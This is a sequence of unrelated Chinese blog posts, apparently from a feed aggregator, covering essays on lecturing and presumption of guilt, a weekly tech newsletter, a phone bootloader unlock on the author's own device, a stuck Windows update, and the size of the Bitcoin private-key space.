——《我们为什么需要“爹味”?》

之前三番五次提及过一个底层逻辑,即男性的原始动力是「尊严」,结合前一节讲到的能量衰弱的原因,就可以串起来解释了:

  • 「权威爹」的尊严层级更像是通过「谁的拳头更有力」来决定的。儿子自然是弱小于父亲的,哪怕是有一天他意识到儿子已经长成了可以和自己对抗的孩子,仍然可以通过「孝顺」这件事来作为规则层面的压制;
  • 「说教爹」的尊严程度更像是通过「制定规则」来决定的。因为男性特质的衰弱,无法通过拳头的方式对比尊严,则通过说教的方式重新调整规则——你必须听我的,因为没有我你无法在这个世界生存;

很有趣的是,这件事居然是可以反推成立的——即一个男性越是把说教成为寻求「地位确认」的手段,就越是男性能量衰弱,因为如果他有足够硬的拳头,就已经使用力量获得尊严了。


于是,在这个过程中,高台教化就成了「说教爹」非常巧妙的表面伪装。现在需要解释清楚什么是「高台教化」。首先,这是一个「排他性认定标准」,即我认为你的作品是在高台教化,那就是高台教化,因为高台教化本身没有标准,甚至会因为主观喜恶,而觉得对方放个屁都是在讲道理。

所以第一步需要摒弃主观好恶,再来解释高台教化:

  • 高位俯视。这一点本身是相对存在的,但由于个体认知差异,必然会形成暂时的相对高度(但不可否认,认知歧视又确实存在)。
  • 应然判断。休谟认为我们无法从「实然」命题推导出「应然」命题,除非我们可以明确地阐述其逻辑关系。例如,我们无法从「你的文字让我感觉到不舒服」推导出「你的文字毫无价值」;大部分高台教化会采用这样的叙事风格,将一个主观感受与客观事实叠加形成结论,而没有完整地解释其内在的逻辑关系。
  • 缺乏自我反思。高台教化的观点往往会被伪装成「普遍性」存在,而非「框架产物」;
    • 所谓的「框架产物」是一个人的观点、结论、判断,都是在特定认知框架下产生的结果;
    • 高台教化是将自己框架下的产物,当成了所有人都该遵守的公理或标准;
    • 反之,框架和框架之间的认知差异,也会导致其中一方认为对方的认知即对自己的「定性」,而产生非黑即白的认知,即证明你是错误的,那我就是对的;
  • 权威性。我虽然不反对权威性,但个体的权威性并不能覆盖他人认知,除非这样的权威性已经成为一个乌合之众的「纲领」,否则其权威性是应该接受考验和质询。

当然,上述的高台教化的构成要件本身也有局限性,因为我认为主观先行要比客观标准更重要,比如有的人更喜欢完全的结论先导,或是应然命题的绝对感,或是自我权威对他人在认知、知识储备上的碾压。


当然,不可否认的是「说教爹」的高台教化在某些时候也是有「内容」的,只是他的表达方式会让一些人感到不悦。同时高台教化也很容易禁不起「反驳」,但是这个表象也并不能完全否认其内容的「价值」。

总结一下:为什么值得弄清楚「高台教化」这件事:

  • 能用于分析父母、权威者、对话双方的表达姿态;
  • 能用于判断一段话是否试图「说服」,还是试图「压制」;
  • 也能帮助自己反思写作或讲话中是否不小心落入「应然」的结构里。

最终的最终,我认为认定高台教化这件事本身是「主观先行」的问题,如果主观上无法接受,那对方放个屁也是在说教~

科技爱好者周刊(第 346 期):未来就是永恒感的丧失

作者 阮一峰
2025年4月25日 08:09

这里记录每周值得分享的科技内容,周五发布。([通知] 下周五一假期,周刊休息。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系(yifeng.ruan@gmail.com)。

封面图

大阪世博会的中国馆,以"中华书简"为主题。(via

未来就是永恒感的丧失

有一类人叫做未来学家(Futurists),专门研究未来。

这类人通常很快被忘记,因为他们的预测基本不准。就算偶尔说对了,后人也会觉得稀松平常。

历史上最著名的未来学家,大概是一个叫做阿尔文·托夫勒(Alvin Toffler,1928--2016)的美国人。

上个世纪七十和八十年代,他写过很多预测未来的书,非常畅销。1983年,国内就引进了他的书,轰动一时。

时过境迁,现在几乎没人提他了。

前些日子,一个朋友对我说,你可以去看看他的书,居然没有完全过时。

我看了一些片段,很震惊。这些片段根本不像写于半个世纪之前,更像写于现在。

托夫勒的第一本书,叫做《未来的冲击》,写于1970年,国内有中文版。

下面就是他的主要观点。大家一定要记住,这些话写于1970年,那个时候还没有信息革命,既没有个人电脑,也没有手机和互联网。

托夫勒认为,人类以前是农业社会,现在是工业社会,即将进入超工业社会

超工业社会有两个特征。

首先,工业人口只占少部分,大部分人从事脑力劳动。

其次,即使少部分人从业工业,生产出来的工业品,也大大超过需要。

那么,问题就来了。如果50%、甚至40%的工业生产能力,就能生产出满足所有人需要的工业品,那么会怎样?

托夫勒说,为了消化掉多余的工业品,结果就是加速。社会开始让消费加速,让技术也加速,最终让商品的流通速度变快,只有这样才能消费更多的商品。

这意味着,人类社会将变快。我们生活的根本特征,不再是持久,而是短暂

(1)生活用品变得短暂,越来越多一次性产品:一次性筷子,一次性圆珠笔,一次性塑料瓶,甚至一次性衣服。

(2)即使长期使用的产品,也在快速升级换代。微波炉、洗衣机这样的耐用消费品,人们也只要今年的型号,不要去年的型号。

(3)社会充斥着速成食品、速成教育,甚至城镇也可以速成。

(4)知识短暂化,用过即弃。

(5)工作变得短暂。职位、公司、甚至行业,随时都会消失,新的部门和行业不断涌现。

(6)生活环境变得短暂。人们经常搬家,不会在一个地方久居。

(7)人际关系变得肤浅。人与人之间很难产生稳定深入的关系,交流持续的时间缩短,更多的是偶遇和点头之交。

(8)人们面对快速变化,内心感到疲惫和衰弱,情绪变得不稳定,精神病人变多。

总之,未来的根本特征,就是永恒感的丧失,取而代之的是短暂感。

Trae 的 万「友」引力计划

本周,字节的 AI 编辑器 Trae 发了新版,可以调用 MCP 服务器了。

这可是重磅消息,开辟了一个全新天地,我还写了一篇教程

官方为了推广,投入了大量资源,Doubao、DeepSeek、Claude、Gemini、GPT-4o,现在都是免费用(后三个模型需要 Trae 海外版)。

为了让更多的同学参与,只要你深度体验 Trae,完成简单任务,就可以获得相应积分,兑换奖品。

奖品包括 华为 MatePad Air、雷蛇机械键盘、热门 App 会员卡等。

详情访问这个链接,或者扫描上方海报的二维码。

机会难得,既能学习 AI 和 MCP,还能拿奖品,大家不要错过哦。

科技动态

1、虚拟味觉

香港城市大学的科学家,提出了一种虚拟味觉的实现方法。

他们做了一个类似棒棒糖的"虚拟味觉器",用户把它含在嘴里。

它会以"离子泳"的形式,释放水凝胶。目前,一共9种口味的水凝胶,也就是说用户可以尝到9种味道:糖、盐、柠檬酸、樱桃、百香果、绿茶、牛奶、榴莲和葡萄柚。

这里的关键是,水凝胶的释放可以编程控制,因此可以用来在电子游戏中增强用户体验,或者网上购物时让用户先品尝食品味道。

2、旅行推销员问题是一个著名的计算机科学问题。

它的表述是,怎么规划出一条最短路线,可以拜访每一座城市一次,最终回到起始城市。

最近,一个国际团队打破了旅行推销员问题的世界纪录

他们规划出一条最短路线,可以一次性走遍韩国所有81,998家酒吧。

一刻不停的步行,完成这条路线一共需要178天。

此前的世界纪录是2021年创造的,走完荷兰57,912个纪念碑的最短路线。

3、Vision Pro 的新用途

苹果的 AR 头盔 Vision Pro,售价高达3万元人民币,销量并不好。

用户普遍觉得,它的用处并不大,售价又这么贵。但是,它意外在一个场合非常受欢迎。

美国的一些医院发现,它可以用于微创手术。医生戴着头盔,给病人开刀,上图就是两个这样的医生。

很多手术,尤其是涉及血管和神经的手术,要求非常精细,动刀位置不能有一点差错。

医生不可能凑上去看,现在都是用摄像头放大后,看着显示器动刀。

Vision Pro 戴在眼前,影像更大,看得更清楚,而且还能叠加多窗口,显示心率血压等指标。

医生非常喜欢这个设备。价格完全不是问题,因为手术用显示器的价格是 Vision Pro 的好几倍。

4、其他

(1)北京举行机器人半程马拉松比赛。21公里的路程,冠军成绩是2小时40分42秒,需要更换三次电池。

(2)4月25日的日出前,土星、金星、月亮,将组成笑脸图案

(3)亚马逊在欧洲实验,让送货卡车配备心脏除颤器,一旦送货时遇到突发心脏病的人,可以进行急救。

(4)索尼推出全球最小的激光雷达,适合用于无人机、机器人。

文章

1、昊龙:中国首个货运航天飞机(中文)

天宫空间站的补给,目前由天舟飞船完成。但是,天舟每次返回大气层,都会烧毁。

国内正在研究可以重复使用的"昊龙"货运飞船,以降低货运成本。

昊龙已经完成了设计,正在工程测试阶段。

2、如何使用 UTM 在 Mac 电脑架设虚拟机(英文)

一篇教程,教你如何在 MacBook 安装 utm 虚拟机,从而方便地使用 Linux 系统。

3、清理<head>(英文)

网页的<head>部分里面,很多标签是不必要的,这个网站介绍可以删除的标签,比如 favicon、Apple touch icons。

4、线上故障应急处理:4 年多 on call 经验总结(中文)

我的第一份工作是 CDN 基础设施研发,考虑到公司体量,那些年其实故障蛮多的。在故障处理中,积累了一些经验教训,总结回顾一下。(@swananan 投稿)

5、在 Docker 沙箱中运行 MCP Server(中文)

本地运行他人的 MCP 服务器有极大的风险,本文介绍怎么在 Docker 沙箱里面运行。(@ccbikai 投稿)

6、如何用 Whisper 生成字幕(英文)

本文是作者的操作记录,演示如何用 OpenAI 公司的 Whisper 模型为视频文件生成字幕。

工具

1、Open Props UI

一个 CSS 组件库,使用最新的 CSS 规范,也就是说,不考虑兼容老旧浏览器。

2、ts-blank-space

一个从 TypeScript 脚本剥离类型代码的工具,也就是将 TS 脚本转成 JS 脚本,但是不进行类型检查。

3、Better Auth

一个 TypeScript 的用户身份认证库,功能全面,密码登录、双因素认证、外部身份提供商等都支持。

4、Browspilot

Chrome 浏览器插件,自动保存所有浏览过的网页,提供浏览历史的全文搜索。

5、to-unocss

这个网页工具将 CSS 代码转成 unoCSS 或者 TailwindCSS 的写法。(@Simon-He95 投稿)

6、NoteGen

跨平台的 Markdown 笔记软件,支持接入 AI 模型。(@codexu 投稿)

7、speed-github

一个修改 hosts 文件,加快 GitHub 访问速度的 Python 脚本。(@jvxiao 投稿)

这里还有一个 Cursor 的 hosts 文件生成器。(@Oliverwqcwrw 投稿)

8、旅游翻译器

网友做的旅行翻译网站,支持对话翻译和拍照翻译,代码开源。(@traveltranslator1 投稿)

9、Shui

开源的桌面软件,定时提醒喝水。(@rock-zhang 投稿)

10、SnowAdmin

基于 Vue + Vite 的网站管理后台模版。(@WANG-Fan0912 投稿)

AI 相关

1、chatlog

用 AI 处理微信本地聊天记录的工具。(@sjzar 投稿)

2、HowToCook-MCP Server

一个 MCP 服务器,提供中文菜谱、餐食规划。(@worryzyy 投稿)

3、Midscene.js

字节推出的 JS 工具,最新功能是通过 AI 和 adb,完成安卓手机自动化。它早先已经可以浏览器自动化。(@yuyutaotao 投稿)

4、MCP Gateway

一个 Go 语言写的网关服务,将已有的 API 转成 MCP 服务,无需改动任何代码。(@iFurySt 投稿)

资源

1、全球地铁线路图

这个网站收集了全球各大城市的地铁地图。(@027xiguapi 投稿)

2、如是我闻

佛经阅读平台,带有 AI 翻译和问答。(@bolechen 投稿)

3、They see your photos

该网站对用户上传的照片给出详尽描述,从而可以发现照片泄漏了多少信息。

日本木匠大会

日本每年举行一次全国木匠大会

大会有一个项目,就是刨花比赛,看看谁的刨花最薄。

比赛规定,木材必须是宽55毫米、长1800毫米的桧木。进入决赛的5名选手,为了公平,将使用同一块桧木。

刨出来的刨花必须完整,没有裂口,长度在1米左右,才能参加评分。

工作人员把所有选手的刨花,挂在黑板上,进行公示,评委进行打分。

这些的刨花如此之薄,令人不敢相信。

冠军选手的成绩是50微米,也就是1毫米的20分之一。

文摘

1、你是创造者还是消费者?

我是一个信息瘾君子,对各种信息上瘾。

当我想学习一项新技能,或者有了一种新爱好,我就立即前往亚马逊网上书店,购买3~4本该主题的书籍。

现在我的书柜里面、有关于 HTML 基础知识、纸牌魔术、高尔夫、编剧、赛车、冥想、举重以及大约10个其他主题的书籍。

我也会订阅一些博客和播客,阅读所有最受欢迎的帖子,聆听了各种专家访谈。有时候,我甚至会在 Evernote 做一些笔记,或者在浏览器为某些页面添加书签。

然而,我总是缺少一件事:实际成果。

我对那么多东西感兴趣,也学了很多,但是没有做出什么成果。

我只是查找和使用信息,这很容易,对于像我这样好奇的人来说,这通常也非常有趣。

但它实际上并没有完成任何事情,这是伪工作,一种自我安慰。

创造才是更有效的方式,你开始制作东西----网站、成功的高尔夫击球、剧本等等,不管是什么----然后,无非就是两种结果。一种结果是你意识到自己对它不那么感兴趣,另一种结果是你真的喜欢它,开始深入研究。无论哪一种结果,都是值得的,而盲目消费信息,则是一种无效的表面行为。

言论

1、

AI 伴侣可以减少孤独感,但是会产生新的问题。它可能取代人际互动,让你丧失基本社交技能,从而变得更加孤立。

-- 哈佛商学院的一项研究

2、

简单和优雅不受欢迎,因为它们需要努力工作和纪律才能实现。

-- Edsger Dijkstra,著名计算机科学家

3、

规则就像汽车上的安全带:一开始可能会有点不舒服,但一段时间后,使用规则就会成为习惯,不使用规则就变得不可想象。

---- Gerard J. Holzmann

4、

企业编程必须始终依赖流程,而不是个人。

个人能力很重要,应该鼓励,但不能指望它,否则软件质量将不一致,没有可持续性。一旦顶级程序员跳槽,公司就会陷入困境。

企业应该努力改进工作流程,而不是努力改进人员,始终坚持流程优先于人员。

-- 《创作系统,而不是创造英雄》

5、

我喜欢软件,因为软件可以创造无限可能性和一种非凡的民主。

-- Hacker News 读者

往年回顾

AI 的关键是语料(#299)

最成功的软件企业家(#249)

俄罗斯的 HTTPS 证书问题(#199)

新能源汽车,谁会是赢家?(#149)

(完)

文档信息

  • 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证
  • 发表日期: 2025年4月25日

【公园经营模拟】自动售货机

作者 Andalue
2025年4月25日 19:38
今天公园新增了两台自动售货机,一台在游客服务中心,一台在足球场外。 和共享充电宝的模式类似,我们作为场地提供方,不需要支付设备费用,也不负责补货,只保证用电并且承担电费,从销售额中拿提成。 综合设备费和软件服务等费用,商品的单价成本并不低,在小超市4块能买到的脉动600ml,我们的底价是6.19元,在此价格上的溢价我们才能拿到分成。 根据合同约定,我们的溢价比例是20%,所以这瓶脉动的售价是7.4元,考虑到运动场地周边售卖的唯一性和便捷性,这样的价格不知道大家是否能接受呢?而这1.23元的溢价,我们其实也只能拿到17%~24%(根据月销售额浮动),也就是2毛1~2毛9。看似元气森林免费提供设备高风亮节,其实他们才是最大获益者,不得不佩服这样的商业模式啊。 另外一点让我比较惊喜的是,他们会在后台自动统计商品销售情况,根据需要自动排货,精准投放,不得不佩服互联网商业的精细度。 不过还是感谢元气森林的配合,赶在明天射箭比赛前完成了第一批补货,不至于渴到我们的射箭选手,就是不知道明日销量如何。

解锁 Redmi K40S(HyperOS 1.0)的 bootloader

2025年3月13日 00:00

从 HyperOS 开始,解锁 bootloader(引导程序)的难度大大增加,不过还是有办法绕过限制。建议想解锁的读者先暂停系统更新和应用更新,以免升级后无法绕过限制。

这台 Redmi K40S 的系统版本是 HyperOS 1.0.8.0.ULMCNXM。以下是解锁方法:

  1. 插入手机卡。
  2. 下载设置应用,解压后传到手机安装,成功。
  3. 根据电脑系统下载 HyperSploit 并运行,根据提示操作。
  4. 这台手机显示验证失败,电脑显示 Error 401: Xiaomi account credentials expired, login again
  5. 退出账号,登录账号。再次运行 HyperSploit,这次电脑显示绑定成功了。运行小米官方解锁工具备用版),提示等待 168 小时。
  6. 手机卡就留在这里了1
  7. 打开应用商店,关闭自动升级。打开系统更新,关闭自动下载和夜间安装。让手机一直开机。
  8. 等够 7 天后再次运行小米官方解锁工具,成功啦!

重启完居然显示有账号锁,需要联网后验证小米账号密码。我的手机卡设置了密码,系统它又不让我输入手机卡密码(这太傻了吧!),这样无法用手机卡的网络。只好连接 WIFI 了,输入密码后进入系统,再退出小米账号。最后装上了我最喜欢的 LineageOS 系统


  1. 我不确定是否要一直插卡,只是感觉这样比较稳妥。 ↩︎

win10更新卡死

作者 xrspook
2025年4月25日 08:27

当年今日

周三的上午跟往常一样,我操作完一些必须要完成的事情以后,看到win10右下角出现了更新的符号,点开后那里说我已经完成了一个框架更新,同时也有一个累计更新,问我需不需要下载安装,我点击了下载安装,下载是正常的,但是安装到最后就告诉我更新失败。拿着那条代码去搜索,发现原因大概是这个更新在我这个系统的更新目录里,但是里面缺少了二进制的代码,所以更新失败。如果没记错的话,上个周末在家里,我的笔记本电脑也出现过这种情况,但是那个时候我根本没想,更新失败就等下一次再更新吧,反正也无所谓。单位电脑的框架更新已经安装完成,电脑就必须重启才能完成最后的步骤。反正那个时候我也没什么工作,更新完毕,重启一下电脑,理论上也耗不了多少时间。我又是那种强迫症患者,没办法接受右下角一直都有那个更新的符号。我在点击重启之前,我的手机正在使用着电脑共享出来的WiFi。以前是一直没什么问题,反正关掉电脑以后WiFi就断了,那么手机就会自动连上其它的WiFi。之所以我要用自己的电脑和无线网卡共享一个WiFi出来,是因为隔壁那个路由器可能连接的人多了,经常会出现莫名其妙的缓慢卡顿甚至上不了网。

Windows进入更新的蓝屏,进度条什么的一切正常,但是到了“正在准备windows,请勿关闭计算机”那个界面的时候。我就觉得不对劲了。电脑一边在更新,我手机一边在做任务,正常情况下我任务没做完,电脑就应该已经更新完毕了,但实际上我的任务全部都做完了,居然还卡在那个界面。卡了15分钟以后,我就不淡定了,开始找网友,开始在微信上搜索。卡了半个小时后,我更加不淡定了。在那个蓝屏的界面,除了等待,就只有硬重启。硬重启非常有可能会导致系统的损坏或丢失,结果就是进不了系统,或者即便能进系统,系统也不正常,所以最终的后果就是可能得重装。我知道强行关机的后果,但是等待实在让人非常煎熬,于是你控制不住自己用手机查找各种信息。网友建议我观察一下硬盘灯的状态,说如果硬盘灯处在熄灭状态,那么我重启估计也可以,但硬盘灯一直闪烁,只是有时闪得慢一点,有时闪得快一点,闪得快的时候,你甚至可以觉得那是常亮的。有段时候,硬盘灯闪得非常快,我觉得这是不是意味着这个卡的界面要结束了,但实际上并没有。闪得非常快之后又开始慢闪。我知道硬重启不太行,所有人都在劝我要耐心等待。幸好这段时间单位没什么事情。在纠结了一个半小时以后,突然蓝屏消失,电脑进入黑屏。之前也发生过一次,但当我动了一下鼠标后发现实际上是那个蓝屏的状态持续时间已经超过了半小时,所以我的电脑自动进入了休眠。一个半小时之后的那个黑屏跟之前不一样,因为几乎同时我就听到了电脑开机的声音,也就是说总算结束了那个蓝屏进入重启。我给好几台电脑都安装过win10系统,安装之后那些电脑都要进行很多的更新,但是我从来没有试过任何一台机会卡在我遇到的那个蓝屏界面超过一个半小时,别说一个半小时,超过15分钟都是比较离奇的事情,但总算我的电脑没有卡死,成功重启也成功进入系统。进入系统以后,我做的第一件事就是去更新那里不断的按了好多下暂停更新。直接把那个更新的日期推迟到5月中旬。

我实在接受不了月末的时候,再给我发生这么让人崩溃的事情。

比特币私钥的数学本质与人类算力的极限


btc-bitcoin 比特币私钥的数学本质与人类算力的极限 加密货币 区块链 数学 比特币 BTC 计算机 资讯 跟我一起来谈钱

Bitcoin

总是看到有一些暴力破解的程序在不停的尝试比特币钱包的密钥,还声称已经很幸运的试到了几个钱包的密钥,并且移走了里面的几万美金。

下面的文字是抄于 rssdao.eth 的朋友圈。

抛256次硬币,你就拥有一个比特币私钥:人类算力难以企及的加密奇迹

破解比特币需要40亿个银河系?普通人根本无法想象的数学深渊。

当你抛硬币正面朝上为1,反面朝上为0,连续抛256次,并把结果转换成一个16进制数,就是下一个比特币的密钥,那么换句话来说,比特币私钥的本质就是256位二进制数,听起来普普通通有没有,感觉用普通的计算机随便就能破解了?

能这么想的一般数学老师已经哭在了厕所,2的256次方,相当于8个2的32次方相乘,二的32次方约等于40亿,现在有概念了吗?就是40亿×40亿×40亿×40亿×40亿×40亿×40亿再除以40亿。量化一下吧,第一个40亿是现代电脑的GPU每秒可以计算10亿个哈希值,40亿就相当于一台非常好的电脑,每秒计算的哈希值

第二个40亿用世界第一搜索引擎,谷歌公司作为例子,虽然谷歌没有对外公布服务器的数量,但有人估算大约在几百万个,是世界上最多服务器的企业之一,代表着地表最高算力,大部分谷歌服务器的算力都不如我们这些满载GPU的电脑强,那么40亿台电脑姑且约等于1000个谷歌算力。

第三个40亿全世界约有73亿人,我们假设地球一半以上的人每个人都有1000个谷歌的算力。再来看看第4个40亿,想象一下40亿个这样的地球像极了银河系有没有?姑且称为银河系算力。第5个40亿,我们把40亿个这样的银河系打包,算力之和每秒能计算出2的160次方。第6第7个40亿,我们从时间维度考量,40亿秒约等于126.8年,乘以40亿倍,就是5070亿年,差不多是目前我们已知的宇宙年龄的37倍。

最后我们得出了结论,以人类现在的文明程度要解开比特币的密钥,大约需要40亿个银河系的算力,计算37倍于宇宙的年龄一样长的时间,才有1/(40亿^8)可以算出密钥的可能。所以现阶段人类科技而言,要通过技术手段破解密钥,简直就是痴人说梦了,这种体量的计算连量子计算机串联也望尘莫及。

2021年2月旧文,再思考一下比特币的伟大发明。

今天一个大饼的价格是9.2万美金。

crypto-btc-eth-trx-2025-04-24 比特币私钥的数学本质与人类算力的极限 加密货币 区块链 数学 比特币 BTC 计算机 资讯 跟我一起来谈钱

Crypto Prices for BTC, ETH, TRX at 2025-04-24

比特币/大饼 BTC/Bitcoin

英文:Toss a Coin 256 Times: The Math Behind an Unbreakable Bitcoin Private Key

本文一共 797 个汉字, 你数一下对不对.
比特币私钥的数学本质与人类算力的极限. (AMP 移动加速版本)

扫描二维码,分享本文到微信朋友圈
75a5a60b9cac61e5c8c71a96e17f2d9c 比特币私钥的数学本质与人类算力的极限 加密货币 区块链 数学 比特币 BTC 计算机 资讯 跟我一起来谈钱
The post 比特币私钥的数学本质与人类算力的极限 first appeared on 小赖子的英国生活和资讯.

相关文章:

  1. 按揭贷款(房贷,车贷) 每月还贷计算器 去年给银行借了17万英镑 买了20万7500英镑的房子, 25年还清. 前2年是定率 Fix Rate 的合同 (年利率2.49%). 每个月大概是还 700多英镑. 有很多种还贷的计算方式, 定率/每月固定 是比较常用的. 简单来说就是 每个月交的钱是...
  2. 诈骗者正在利用多重签名钱包(Tron/波场): 保持警惕! 我经常收到类似这样的消息,有人请求协助转移资金,并提供钱包的种子短语或密码。 虽然看起来很诱人,但这实在是好得令人难以置信。不要上当,钱包里的币实际上是无法转出的。 他们实际上只是想骗你将资金(如TRX)转到他们的钱包,并以帮助解锁余额为借口。一旦你将资金转出,就再也拿不回来了。 请记住,任何声称可以“免费”提供带余额的钱包访问权限的人,很可能是在实施诈骗。务必保持警惕,保护好自己的资产! 多签名授权 这些钱包通常需要多签名授权才能访问资金。这意味着即使你拥有种子短语或密码,也无法转移余额,因为还需要其他签名,这一点骗子通常不会提及。 相反,他们会以解锁钱包为借口,诱骗你转移自己的资金(如TRX)。不要上当——保持警惕,保护自己免受此类诈骗! 保持谨慎,远离诈骗! 英文:Scammers Are Exploiting Multi-Signature Wallets (Tron): Stay...
  3. 智能手机 HTC One M9 使用测评 虽然我对手机要求不高, 远远没有像追求VPS服务器一样, 但是怎么算来两年内换了四个手机, 先是三星 S4 用了一年多, 然后 Nokia Lumia 635 Windows Phone, 后来又是 BLU, 半年多前换了...
  4. SteemIt 高级定制微信文章列表 RSS/API/阅读器 v2.0 The Advanced Wechat Group Posts Feed/API/Reader v2.0 Abstract: I have added five parameters to the...
  5. 面向猫猫编程 Cat Oriented Programming (Chessly/Pyro这一生持续更新) 家里有两只猫 Chessly/Pyro,想着找个地方记录它们的生活,最后决定还是写在这里的博客。猫的一生很短,差不多也就二十年。 Chessly(黑白猫)是我加入微软剑桥研究院MSRC第一个月带回家的,过了两三个月,又把Pyro(橘猫)也接回了家。两只猫的名字是孩子们取的:Chessly因为黑白的像棋盘,加上“ly”听起来像个女孩的名字;而Pyro的意思是一团火(烟火),充满活力。 刚开始的时候,Chessly特别喜欢待在我的工作区域。她有时候趴在键盘上或旁边,有时候藏在显示器后面。偶尔还会绕到我身边“咕咕”地撒娇,等着我去摸她。有时更干脆跑到我腿上,舒舒服服地躺着。 不过,现在它们俩的体型都大了很多,躺在桌上就会挡住屏幕,真是“面向猫猫编程”(Cat Oriented Programming)的极致体验。 记录生活的点滴,也是一种珍惜,毕竟这二十年,我们会一起走过。 2024年 2025年 Ring视频:两猫日常就是打闹,Chessly追上Pyro想舔他,在猫的世界里,地位高的才能舔地位低的。 我家猫现在越来越胖,很喜欢在我工作的时候躺在显示器钱,很影响我的工作,不过这时候我就是会休息一下摸摸她,就当放松一下了。 Pyro在窗边喝水,这是个小的煮饭锅,现在不用了,就给猫当喝水的碗。Pyro很胆小,经常看到我就跑。没法跑就咕咕叫。 Chessly很喜欢陪我工作,然后她很好厅的盯着屏幕上的鼠标光标,真怕她把屏幕抓坏了。 哥哥弹琴,弟弟唱歌,Chessly午睡,真是幸福啊,下辈子做只猫吧。...
  6. 个人网站Adsense广告申请通过: 需要最少15篇文章 我的个人网站 zhihua-lai.com 本月通过了 Adsense 审核,终于可以再次放置广告,赚些零花钱了。 其实,最初 Adsense 账户通过审核后就能直接放广告,但后来规则变得严格了。如果一个网站长时间没有放置任何 Adsense 广告代码,账户资格会被撤销。重新启用时,需要进行单独审核。如今,在 Google Adsense 中新增一个域名,也必须通过审核后才能投放广告。 为了让我的网站通过审核,我尝试了几次,但总是被拒,原因之一是必须要有足够的内容支持。例如,以前我做的工具网站 SlowAPI.com...
  7. 同一台服务器上多个WORDPRESS站点的一些设置可以移出去 我自从把所有网站都挪到一处VPS服务器上 就发现很多事情省事很多 可以同时管理多个网站 包括 WORDPRESS博客. 比如我有四个WORDPRESS博客 然后我就把通用的一些资料给移出去 移到 HTTP或者HTTPS都不能直接访问的文件夹里这样就更安全许多. 文件 wp-conn.php 存储了 相同的数据库资料. 1 2...
  8. 比特币最近波动有点大: 一天牛市一天熊 比特币10万美金以内都是最后上车的机会! 比特币近期的价格波动可以归因于多个关键因素,包括地缘政治动态、监管变化以及加密行业内的重大安全事件。其中一个主要影响因素是美国前总统唐纳德·特朗普对乌克兰和加密货币监管的立场变化。据报道,特朗普再次当选,他可能会推动减少美国对乌克兰的支持,这可能会影响全球金融市场和风险偏好。同时,特朗普正在将自己塑造为亲加密货币的候选人,表示有意让美国成为一个更加友好的加密货币环境。这一立场引发了市场对监管政策可能发生变化的猜测,导致市场情绪在乐观和不确定性之间波动。 特朗普对俄乌战争的态度 美国第43届总统唐纳德·特朗普已经在2025年1月当选并正式上任(第二次),那么他的政策可能会对比特币价格的波动产生更加直接和显著的影响。他政府对乌克兰和加密货币监管的立场已经不再是猜测,而是正在实际塑造市场的关键力量。 特朗普(Donald Trump)减少美国对乌克兰的支持,全球投资者可能会预期地缘政治稳定性发生变化,从而增加对比特币作为避险资产的需求。同时,他的亲加密货币立场可能正在推动市场的乐观情绪。如果他的政府推出有利于加密行业的监管政策,例如明确的合规指南或减少监管审查,可能会吸引更多机构投资者进入市场,并促进更广泛的加密货币采用。然而,政策的快速变化也可能导致短期市场剧烈波动,因为市场需要时间来消化新的政策动向。 朝鲜黑客盗取Bybit交易所15亿美元的ETH 另一个显著影响比特币价格的事件是近期涉及朝鲜黑客组织“Lazarus”的15亿美元以太坊被盗案件。据报道,Bybit交易所(全球第二)这些被盗的ETH已经被清洗,此次大规模黑客攻击引发了人们对加密行业安全性的担忧。此类安全事件不仅会削弱投资者信心,还可能引发更严格的监管审查,导致短期市场动荡。此外,被盗资金的大规模流动和出售可能对市场流动性造成冲击,进一步加大价格波动。随着这些事件的持续发酵,比特币价格正受到政治决策、监管预期以及安全挑战等多重因素的影响。 与此同时,与朝鲜黑客组织 Lazarus 相关的 15 亿美元以太坊被盗事件仍在影响加密市场。由于这些被盗 ETH 已被清洗,人们对加密行业安全漏洞的担忧持续存在,同时也可能引发更严格的监管审查。政治、监管和安全等多重因素交织在一起,共同导致了比特币近期的剧烈价格波动。...

证据链与有罪推定

作者 ONO
2025年4月24日 20:53

好友发来一个八卦说是创作「素材」,是一个网红与别人的色情聊天内容。但我很快发现里面的逻辑 bug,现有的证据如下:

  • 聊天内容是网红与他人的文字性爱对话,虽然里面有照片,但照片未出现纹身,无法指向当事人;
  • 另外两则自渎视频也没有实际证据指向当事人,未出现过纹身;
  • 网红的裸照,暗示特定纹身存在,但裸照与聊天内容毫无关系;
  • 网红照片里的手指与自渎视频的手指对比。

于是这个证据链是各自指向一个证据,但证据和证据之间毫无干系。唯一的所谓「关键性」证据,仅仅只是「手指很像」。这件事本身没有值得聊的地方,但这样的证据链可以推出结论,倒是值得玩味。

不单单是这样的「瓜」,还有一些认知推导的方式,也是将前因后果单拎出来似乎都是合理的,但为了要将两个毫不相干的结论桥接起来,也都会找到一个「手指很像」的推理结构。这个「手指很像」首先是以联想、贴标签、先入为主的形式呈现:

  • 我个人不认为这件事情是这样的;
  • 问题不在我,而在他人;
  • 哦,是他啊,那他就会说这样的话;
  • 既然我这样觉得,就一定还有其他人也会这样觉得。

因为证据链很弱,所以我对所有的结论存疑,但就算如此也会有另一套推导系统:即当事人是一个会拍裸照的人,所以他是一个「骚货」,所以他会做出这件事情是合理的。那么「手指很像」的证据也是合理的。很显然,这并不是一个符合证据的推测,但因为它已经涉及到「质疑动机」的层级,所以事情本身已经成为了当事人的自证陷阱。如果再追加当事人为了金钱去勾引对方这样的「付诸阴谋论」,那么一个很难再被破解的「类证据链」就形成了。

出现这种情况最直接的问题,在于事件本身是建立在对当事人「有罪推论」的基础上的,所以无论是否有新的证据,其证据都将是支持当事人有罪的结论——当证据不足,就通过怀疑动机的方式将证据偏向定罪本身。

这个时候,就出现了一个「二极管」问题——即我认为证据链不足,而有罪推论已经定罪,当我们的观点不相同时,他们会认为我的推理是不合理的——那么问题来了,证据链不足是否就已经宣告当事人「无罪」了?

如果这个弯能绕过来,那问题就没有那么复杂了——证据链不足代表的是无法定罪,也有可能这些证据确实指向了当事人实际行为,只是他们在形式上不构成证据链罢了。那到底是「定罪」还是「无罪」?看吧,问题就在这里,因为有罪推论会认为证据都指向的是罪名,但「无罪推论」是优先考虑证据链是否完整,否则「疑罪从无」。于是「手指很像」有了动机推断、有罪推论的变形:

  • 如果你认为你的观点是正确的,那为什么没有人支持你?
  • 我的观点被更多人支持,所以我的观点是正确的;
  • 我比你更有经验,所以在这件事上你的观点不具备参考意义;
  • 他就是这样带节奏的;

如果结论被提前假设,在推导的过程中,就会自然而然地存在确认性偏差的可能。

